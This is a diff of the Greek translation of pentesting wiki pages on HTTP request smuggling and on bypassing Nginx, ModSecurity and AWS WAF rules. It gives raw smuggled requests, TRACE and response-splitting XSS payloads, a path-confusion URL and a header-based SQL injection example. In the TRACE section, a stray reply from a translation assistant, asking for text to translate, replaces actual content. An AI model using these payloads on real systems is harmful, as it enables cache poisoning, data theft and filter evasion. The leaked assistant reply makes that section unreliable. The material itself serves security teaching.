Σημειώστε το ενσωματωμένο request που στοχεύει το `/post/next?postId=3`. Αυτό το request θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την τιμή του **Host header value** για να καθορίσει το domain. Με την αλλαγή του **Host header**, ο attacker μπορεί να ανακατευθύνει το request στο domain του (**on-site redirect to open redirect**).
|
||||
|
||||
Μετά από επιτυχή **socket poisoning**, θα πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **on-site redirect to open redirect** και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο.
|
||||
Μετά από επιτυχημένο **socket poisoning**, πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το request θα μολυνθεί από το προηγούμενο request τύπου **on-site redirect to open redirect** και θα προσπελάσει το περιεχόμενο του script που ελέγχεται από τον attacker.
|
||||
|
||||
Στη συνέχεια, οποιοδήποτε αίτημα για το `/static/include.js` θα εξυπηρετεί το αποθηκευμένο περιεχόμενο του script του επιτιθέμενου, εκκινώντας αποτελεσματικά μια ευρεία επίθεση XSS.
|
||||
Στη συνέχεια, κάθε request για το `/static/include.js` θα εξυπηρετήσει το περιεχόμενο που είναι αποθηκευμένο στην cache από το script του attacker, εκτοξεύοντας ουσιαστικά μια ευρεία XSS επίθεση.
|
||||
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;**
|
||||
>
|
||||
> - Στο **web cache poisoning**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής.
|
||||
> - Στο **web cache deception**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από την cache.
|
||||
> - Στην **web cache poisoning**, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής.
|
||||
> - Στην **web cache deception**, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στην cache, και ο attacker στη συνέχεια ανακτά αυτό το περιεχόμενο από την cache.
|
||||
|
||||
Ο επιτιθέμενος κατασκευάζει ένα μολυσμένο αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα:
|
||||
Ο attacker δημιουργεί ένα smuggled request που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένου χρήστη. Εξετάστε το ακόλουθο παράδειγμα:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -622,17 +624,17 @@ x=1
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Αν αυτή η λαθραία αίτηση δηλητηριάσει μια είσοδο cache που προορίζεται για στατικό περιεχόμενο (π.χ., `/someimage.png`), τα ευαίσθητα δεδομένα του θύματος από το `/private/messages` μπορεί να αποθηκευτούν στην είσοδο cache του στατικού περιεχομένου. Ως εκ τούτου, ο επιτιθέμενος θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα αποθηκευμένα ευαίσθητα δεδομένα.
|
||||
Αν αυτή η smuggled request μολύνει μια cache entry που προορίζεται για static content (π.χ. `/someimage.png`), τα ευαίσθητα δεδομένα του θύματος από `/private/messages` μπορεί να αποθηκευτούν κάτω από την cache entry του static content. Συνεπώς, ο attacker θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα cached sensitive data.
|
||||
|
||||
### Κατάχρηση του TRACE μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Κατάχρηση TRACE μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**Σε αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο server έχει τη μέθοδο TRACE ενεργοποιημένη, θα μπορούσε να είναι δυνατό να την καταχραστεί κανείς με HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα αντικατοπτρίζει οποιοδήποτε header σταλεί στον server ως μέρος του body της response. Για παράδειγμα:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
I'm ready to assist you with the translation. Please provide the text you would like me to translate.
|
||||
Παρακαλώ επικολλήστε εδώ το περιεχόμενο (π.χ. το αρχείο README.md) που θέλετε να μεταφράσω. Θα μεταφράσω τα σχετικά αγγλικά στο Ελληνικά διατηρώντας ακριβώς την ίδια markdown/HTML σύνταξη, και χωρίς να μεταφράσω κώδικα, ονομασίες τεχνικών, πλατφόρμες cloud, links, paths ή ειδικά tags/refs όπως καθορίσατε.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -643,15 +645,15 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Ένα παράδειγμα για το πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά θα ήταν να **λαθρέψετε πρώτα ένα HEAD request**. Αυτό το αίτημα θα απαντηθεί μόνο με τα **headers** ενός GET request (**`Content-Type`** μεταξύ αυτών). Και να λαθρέψετε **άμεσα μετά το HEAD ένα TRACE request**, το οποίο θα **αντανακλά τα δεδομένα που στάλθηκαν**.\
|
||||
Καθώς η απάντηση του HEAD θα περιέχει ένα header `Content-Length`, η **απάντηση του TRACE request θα θεωρηθεί ως το σώμα της απάντησης του HEAD, αντανακλώντας έτσι αυθαίρετα δεδομένα** στην απάντηση.\
|
||||
Αυτή η απάντηση θα σταλεί στο επόμενο αίτημα μέσω της σύνδεσης, οπότε αυτό θα μπορούσε να **χρησιμοποιηθεί σε ένα cached JS αρχείο για παράδειγμα για να εισάγει αυθαίρετο JS κώδικα**.
|
||||
Ένα παράδειγμα για το πώς να καταχραστείτε αυτή τη συμπεριφορά θα ήταν να **smuggle first a HEAD request**. Αυτό το request θα απαντηθεί μόνο με τα **headers** ενός GET request (**`Content-Type`** ανάμεσά τους). Και να smuggle **immediately after the HEAD a TRACE request**, το οποίο θα **αντανακλά τα αποσταλμένα δεδομένα**.\
|
||||
Καθώς η HEAD response θα περιέχει ένα `Content-Length` header, η **response του TRACE request θα αντιμετωπιστεί ως το σώμα της HEAD response, επομένως αντανακλώντας αυθαίρετα δεδομένα** στην απάντηση.\
|
||||
Αυτή η απάντηση θα σταλεί στο επόμενο request μέσω της σύνδεσης, οπότε αυτό θα μπορούσε να **χρησιμοποιηθεί σε ένα cached JS αρχείο για παράδειγμα για να εισάγει αυθαίρετο JS code**.
|
||||
|
||||
### Εκμετάλλευση του TRACE μέσω HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Κατάχρηση του TRACE μέσω HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Συνεχίστε ακολουθώντας [**αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ένας άλλος τρόπος για να εκμεταλλευτείτε τη μέθοδο TRACE. Όπως σχολιάστηκε, λαθρεύοντας ένα HEAD request και ένα TRACE request είναι δυνατό να **ελέγξετε κάποια αντανακλώμενα δεδομένα** στην απάντηση του HEAD request. Το μήκος του σώματος του HEAD request υποδεικνύεται βασικά στο header Content-Length και σχηματίζεται από την απάντηση στο TRACE request.
|
||||
Συνέχοντας το [**this post**](https://portswigger.net/research/trace-desync-attack) προτείνεται ένας άλλος τρόπος καταχρήσης της μεθόδου TRACE. Όπως αναφέρθηκε, smuggling a HEAD request και ένα TRACE request είναι δυνατόν να **ελεγχθούν κάποια αντανακλώμενα δεδομένα** στην απάντηση στο HEAD request. Το μήκος του σώματος της HEAD request υποδεικνύεται βασικά στο `Content-Length` header και σχηματίζεται από την απάντηση στο TRACE request.
|
||||
|
||||
Επομένως, η νέα ιδέα θα ήταν ότι, γνωρίζοντας αυτό το Content-Length και τα δεδομένα που δίνονται στην απάντηση του TRACE, είναι δυνατό να γίνει η απάντηση του TRACE να περιέχει μια έγκυρη HTTP απάντηση μετά το τελευταίο byte του Content-Length, επιτρέποντας σε έναν επιτιθέμενο να ελέγξει πλήρως το αίτημα στην επόμενη απάντηση (η οποία θα μπορούσε να χρησιμοποιηθεί για να εκτελέσει μια δηλητηρίαση cache).
|
||||
Επομένως, η νέα ιδέα είναι ότι, γνωρίζοντας αυτό το `Content-Length` και τα δεδομένα που δίνονται στην απάντηση του TRACE, είναι δυνατόν να κάνετε την απάντηση του TRACE να περιέχει μια έγκυρη HTTP response μετά το τελευταίο byte που υποδεικνύει το `Content-Length`, επιτρέποντας σε έναν attacker να ελέγξει πλήρως το request προς την επόμενη response (το οποίο θα μπορούσε να χρησιμοποιηθεί για να εκτελέσει cache poisoning).
|
||||
|
||||
Παράδειγμα:
|
||||
```
|
||||
@ -672,7 +674,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η απάντηση HEAD έχει ένα Content-Length που καθιστά την απάντηση TRACE μέρος του σώματος της HEAD και μόλις τελειώσει το Content-Length της HEAD, μια έγκυρη HTTP απάντηση είναι λαθραία):
|
||||
Θα δημιουργήσει αυτές τις απαντήσεις (παρατήρησε πώς η HEAD απόκριση έχει Content-Length, κάνοντας την TRACE απόκριση μέρος του σώματος της HEAD και μόλις το HEAD Content-Length τελειώσει, μια έγκυρη HTTP απόκριση smuggled):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -693,16 +695,16 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### Όπλιση HTTP Request Smuggling με HTTP Response Desynchronisation
|
||||
### Εξοπλίζοντας το HTTP Request Smuggling με HTTP Response Desynchronisation
|
||||
|
||||
Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε. Δοκιμάστε αυτές τις άλλες μεθόδους εκμετάλλευσης:
|
||||
Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε; Δοκιμάστε αυτές τις άλλες μεθόδους εκμετάλλευσης:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../http-response-smuggling-desync.md
|
||||
{{#endref}}
|
||||
|
||||
### Άλλες Τεχνικές HTTP Request Smuggling
|
||||
### Άλλες τεχνικές HTTP Request Smuggling
|
||||
|
||||
- Browser HTTP Request Smuggling (Client Side)
|
||||
|
||||
@ -711,7 +713,7 @@ Content-Length: 50
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
- Request Smuggling σε HTTP/2 Downgrades
|
||||
- Request Smuggling in HTTP/2 Downgrades
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -807,14 +809,14 @@ table.add(req)
|
||||
```
|
||||
## Εργαλεία
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – οπτικοποίηση της συγχώνευσης/πλαισίωσης και της χαμηλού επιπέδου συμπεριφοράς HTTP
|
||||
- HTTP Hacker (Burp BApp Store) – οπτικοποιεί τη συνένωση/πλαισίωση και τη χαμηλού επιπέδου συμπεριφορά του HTTP
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι ένας γραμματικός HTTP Fuzzer χρήσιμος για την ανεύρεση παράξενων αποκλίσεων συγχώνευσης αιτημάτων.
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι ένας HTTP Fuzzer βασισμένος σε γραμματική, χρήσιμος για την εύρεση ασυνήθιστων αποκλίσεων request smuggling.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
@ -827,10 +829,10 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- Προσοχή στην ψευδή θετική: πώς να διακρίνετε την HTTP pipelining από τη συγχώνευση αιτημάτων – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- Προσοχή στο false false‑positive: πώς να διακρίνετε το HTTP pipelining από το request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Επιθέσεις Desync με Ικανότητα Περιηγητή – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – desync πλευράς πελάτη – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
Τεχνικές [από αυτή την έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
Τεχνικές [από αυτήν την έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
Παράδειγμα κανόνα Nginx:
|
||||
```plaintext
|
||||
@ -17,11 +17,11 @@ location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
Για να αποτραπούν οι παρακάμψεις, το Nginx εκτελεί κανονικοποίηση διαδρομής πριν από τον έλεγχο. Ωστόσο, αν ο διακομιστής backend εκτελεί διαφορετική κανονικοποίηση (αφαιρώντας χαρακτήρες που δεν αφαιρεί το nginx), μπορεί να είναι δυνατή η παράκαμψη αυτής της άμυνας.
|
||||
Για να αποτρέψει παρακάμψεις, το Nginx εκτελεί κανονικοποίηση της διαδρομής πριν την ελέγξει. Ωστόσο, αν ο backend server εκτελεί διαφορετική κανονικοποίηση (αφαιρώντας χαρακτήρες που το nginx δεν αφαιρεί) μπορεί να είναι δυνατό να παρακαμφθεί αυτή η άμυνα.
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Nginx Version | **Node.js Bypass Characters** |
|
||||
| Nginx Έκδοση | **Node.js Χαρακτήρες Παράκαμψης** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
@ -31,7 +31,7 @@ deny all;
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Nginx Version | **Flask Bypass Characters** |
|
||||
| Nginx Έκδοση | **Flask Χαρακτήρες Παράκαμψης** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
@ -41,7 +41,7 @@ deny all;
|
||||
|
||||
### **Spring Boot**
|
||||
|
||||
| Nginx Version | **Spring Boot Bypass Characters** |
|
||||
| Nginx Έκδοση | **Spring Boot Χαρακτήρες Παράκαμψης** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
@ -51,7 +51,7 @@ deny all;
|
||||
|
||||
### **PHP-FPM**
|
||||
|
||||
Διαμόρφωση Nginx FPM:
|
||||
Nginx FPM διαμόρφωση:
|
||||
```plaintext
|
||||
location = /admin.php {
|
||||
deny all;
|
||||
@ -62,32 +62,32 @@ include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx είναι ρυθμισμένο να μπλοκάρει την πρόσβαση στο `/admin.php`, αλλά είναι δυνατόν να παρακαμφθεί αυτό με την πρόσβαση στο `/admin.php/index.php`.
|
||||
Nginx είναι ρυθμισμένο να αποκλείει την πρόσβαση στο `/admin.php` αλλά είναι δυνατό να παρακαμφθεί αυτό προσπελαύνοντας το `/admin.php/index.php`.
|
||||
|
||||
### Πώς να αποτρέψετε
|
||||
### Πώς να το αποτρέψετε
|
||||
```plaintext
|
||||
location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Παράκαμψη κανόνων Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Path Confusion
|
||||
### Σύγχυση διαδρομής
|
||||
|
||||
[**Σε αυτή την ανάρτηση**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) εξηγείται ότι το ModSecurity v3 (μέχρι 3.0.12), **υλοποιούσε εσφαλμένα τη μεταβλητή `REQUEST_FILENAME`** η οποία έπρεπε να περιέχει τη διαδρομή που προσπελάστηκε (μέχρι την αρχή των παραμέτρων). Αυτό συμβαίνει επειδή εκτελούσε μια αποκωδικοποίηση URL για να αποκτήσει τη διαδρομή.\
|
||||
Ως εκ τούτου, ένα αίτημα όπως το `http://example.com/foo%3f';alert(1);foo=` στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς `/foo` επειδή το `%3f` μετατρέπεται σε `?` που τερματίζει τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι `/foo%3f';alert(1);foo=`.
|
||||
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) εξηγείται ότι το ModSecurity v3 (μέχρι την έκδοση 3.0.12), **εφάρμοσε λανθασμένα τη μεταβλητή `REQUEST_FILENAME`** η οποία υποτίθεται ότι περιέχει το προσπελασθέν path (μέχρι την αρχή των παραμέτρων). Αυτό συνέβη επειδή πραγματοποιούσε URL decode για να πάρει το path.\
|
||||
Επομένως, ένα request όπως `http://example.com/foo%3f';alert(1);foo=` στο mod security θα υποθέσει ότι το path είναι απλά `/foo` επειδή το `%3f` μετατρέπεται σε `?` που τερματίζει το URL path, αλλά στην πραγματικότητα το path που θα λάβει ο server θα είναι `/foo%3f';alert(1);foo=`.
|
||||
|
||||
Οι μεταβλητές `REQUEST_BASENAME` και `PATH_INFO` επηρεάστηκαν επίσης από αυτό το σφάλμα.
|
||||
Οι μεταβλητές `REQUEST_BASENAME` και `PATH_INFO` επηρεάστηκαν επίσης από αυτό το bug.
|
||||
|
||||
Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη μιας προστασίας που εμπόδιζε τους χρήστες να προσπελάσουν αρχεία με συγκεκριμένες επεκτάσεις σχετικές με αρχεία αντιγράφων ασφαλείας (όπως `.bak`) απλά στέλνοντας την τελεία κωδικοποιημένη σε `%2e`, για παράδειγμα: `https://example.com/backup%2ebak`.
|
||||
Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη μιας προστασίας που εμπόδιζε την πρόσβαση χρηστών σε αρχεία με συγκεκριμένες επεκτάσεις σχετικές με backup (όπως `.bak`) απλά στέλνοντας την τελεία URL encoded ως `%2e`, για παράδειγμα: `https://example.com/backup%2ebak`.
|
||||
|
||||
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Παράκαμψη AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Malformed Header
|
||||
### Κακώς μορφοποιημένη κεφαλίδα
|
||||
|
||||
[Αυτή η έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες AWS WAF που εφαρμόζονταν σε HTTP headers στέλνοντας έναν "κακώς σχηματισμένο" header που δεν αναλύθηκε σωστά από την AWS αλλά αναλύθηκε από τον διακομιστή backend.
|
||||
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες του AWS WAF που εφαρμόζονταν στις HTTP κεφαλίδες, στέλνοντας μια "malformed" κεφαλίδα που δεν αναλύθηκε σωστά από την AWS αλλά αναλύθηκε από τον backend server.
|
||||
|
||||
Για παράδειγμα, στέλνοντας το ακόλουθο αίτημα με μια SQL injection στον header X-Query:
|
||||
Για παράδειγμα, στέλνοντας το ακόλουθο αίτημα με μια SQL injection στην κεφαλίδα X-Query:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
@ -96,51 +96,52 @@ X-Query: Value\r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
Ήταν δυνατόν να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας ενώ ο διακομιστής NODEJS το καταλάβαινε (αυτό διορθώθηκε).
|
||||
Ήταν δυνατό να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας, ενώ ο NODEJS server το καταλάβαινε (αυτό διορθώθηκε).
|
||||
|
||||
## Γενικές παρακάμψεις WAF
|
||||
|
||||
### Όρια Μεγέθους Αιτήσεων
|
||||
### Όρια μεγέθους αιτήματος
|
||||
|
||||
Συνήθως, τα WAF έχουν έναν συγκεκριμένο περιορισμό μήκους αιτήσεων για έλεγχο και αν μια αίτηση POST/PUT/PATCH είναι πάνω από αυτόν, το WAF δεν θα ελέγξει την αίτηση.
|
||||
Συνήθως οι WAF έχουν ένα ορισμένο όριο μήκους των αιτήσεων που ελέγχουν και αν ένα POST/PUT/PATCH αίτημα ξεπερνά αυτό το όριο, ο WAF δεν θα ελέγξει το αίτημα.
|
||||
|
||||
- Για το AWS WAF, μπορείτε να [**ελέγξετε την τεκμηρίωση**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Μέγιστο μέγεθος σώματος αίτησης ιστού που μπορεί να ελεγχθεί για προστασίες Application Load Balancer και AWS AppSync</td><td>8 KB</td></tr><tr><td>Μέγιστο μέγεθος σώματος αίτησης ιστού που μπορεί να ελεγχθεί για προστασίες CloudFront, API Gateway, Amazon Cognito, App Runner και Verified Access**</td><td>64 KB</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Μέγιστο μέγεθος σώματος web request που μπορεί να εξεταστεί για προστασίες Application Load Balancer και AWS AppSync</td><td>8 KB</td></tr><tr><td>Μέγιστο μέγεθος σώματος web request που μπορεί να εξεταστεί για προστασίες CloudFront, API Gateway, Amazon Cognito, App Runner, και Verified Access**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- Από [**τα έγγραφα του Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
Παλαιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερα) επιτρέπουν μηνύματα μεγαλύτερα από **128 KB** απενεργοποιώντας την επιθεώρηση σώματος αίτησης, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερες), το ίδιο μπορεί να γίνει απενεργοποιώντας το μέγιστο όριο σώματος αίτησης. Όταν μια αίτηση υπερβαίνει το όριο μεγέθους:
|
||||
Παλαιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερο) επιτρέπουν μηνύματα μεγαλύτερα από **128 KB** απενεργοποιώντας τον έλεγχο σώματος αιτήματος, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερο), το ίδιο μπορεί να γίνει απενεργοποιώντας το μέγιστο όριο σώματος αιτήματος. Όταν ένα αίτημα υπερβαίνει το όριο μεγέθους:
|
||||
|
||||
Αν είναι **λειτουργία πρόληψης**: Καταγράφει και μπλοκάρει την αίτηση.\
|
||||
Αν είναι **λειτουργία ανίχνευσης**: Ελέγχει μέχρι το όριο, αγνοεί το υπόλοιπο και καταγράφει αν το `Content-Length` υπερβαίνει το όριο.
|
||||
Αν **λειτουργία πρόληψης**: Καταγράφει και μπλοκάρει το αίτημα.\
|
||||
Αν **λειτουργία ανίχνευσης**: Εξετάζει έως το όριο, αγνοεί το υπόλοιπο, και καταγράφει αν το `Content-Length` υπερβαίνει το όριο.
|
||||
|
||||
- Από [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||
|
||||
Από προεπιλογή, το WAF ελέγχει μόνο τα πρώτα 8KB μιας αίτησης. Μπορεί να αυξήσει το όριο έως 128KB προσθέτοντας Προηγμένα Μεταδεδομένα.
|
||||
Κατά προεπιλογή, ο WAF ελέγχει μόνο τα πρώτα 8KB ενός αιτήματος. Μπορεί να αυξήσει το όριο έως 128KB προσθέτοντας Advanced Metadata.
|
||||
|
||||
- Από [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
|
||||
Έως 128KB.
|
||||
|
||||
### Κενά επιθεώρησης στατικά περιουσιακά στοιχεία (.js GETs)
|
||||
### Κενά επιθεώρησης στατικών assets (.js GETs)
|
||||
|
||||
Ορισμένα CDN/WAF stacks εφαρμόζουν αδύναμο ή καθόλου έλεγχο περιεχομένου σε αιτήσεις GET για στατικά περιουσιακά στοιχεία (για παράδειγμα, διαδρομές που τελειώνουν σε `.js`), ενώ εξακολουθούν να εφαρμόζουν παγκόσμιους κανόνες όπως περιορισμό ρυθμού και φήμη IP. Συνδυασμένο με την αυτόματη προσωρινή αποθήκευση στατικών επεκτάσεων, αυτό μπορεί να καταχραστεί για να παραδώσει ή να σπείρει κακόβουλες παραλλαγές που επηρεάζουν τις επόμενες HTML απαντήσεις.
|
||||
